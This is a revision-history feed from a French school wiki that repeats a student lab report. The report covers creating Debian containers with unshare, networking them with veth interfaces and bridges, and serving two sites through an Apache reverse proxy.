		<summary type="html">&lt;p&gt;Tcattela : /* Attribution des noms de domaine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
  debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47997</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47997"/>
				<updated>2018-11-25T15:43:28Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 1 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
  debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
Nom : tham2&lt;br /&gt;
IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
Nom : tham1 &amp;amp; tham3&lt;br /&gt;
Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47996</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47996"/>
				<updated>2018-11-25T15:39:29Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Configuration d'apache2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
mkdir /tmp/rootfs1&lt;br /&gt;
mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
cp disc1.img disc2.img&lt;br /&gt;
cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
ip link set vif1 master interne&lt;br /&gt;
ip link set vif2 master interne&lt;br /&gt;
ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
ip link set vif1 up&lt;br /&gt;
ip link set vif2 up&lt;br /&gt;
ip link set vif3 up&lt;br /&gt;
ip link set bridge up&lt;br /&gt;
ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
ip link set dev eth0 up&lt;br /&gt;
ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
interne	: vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
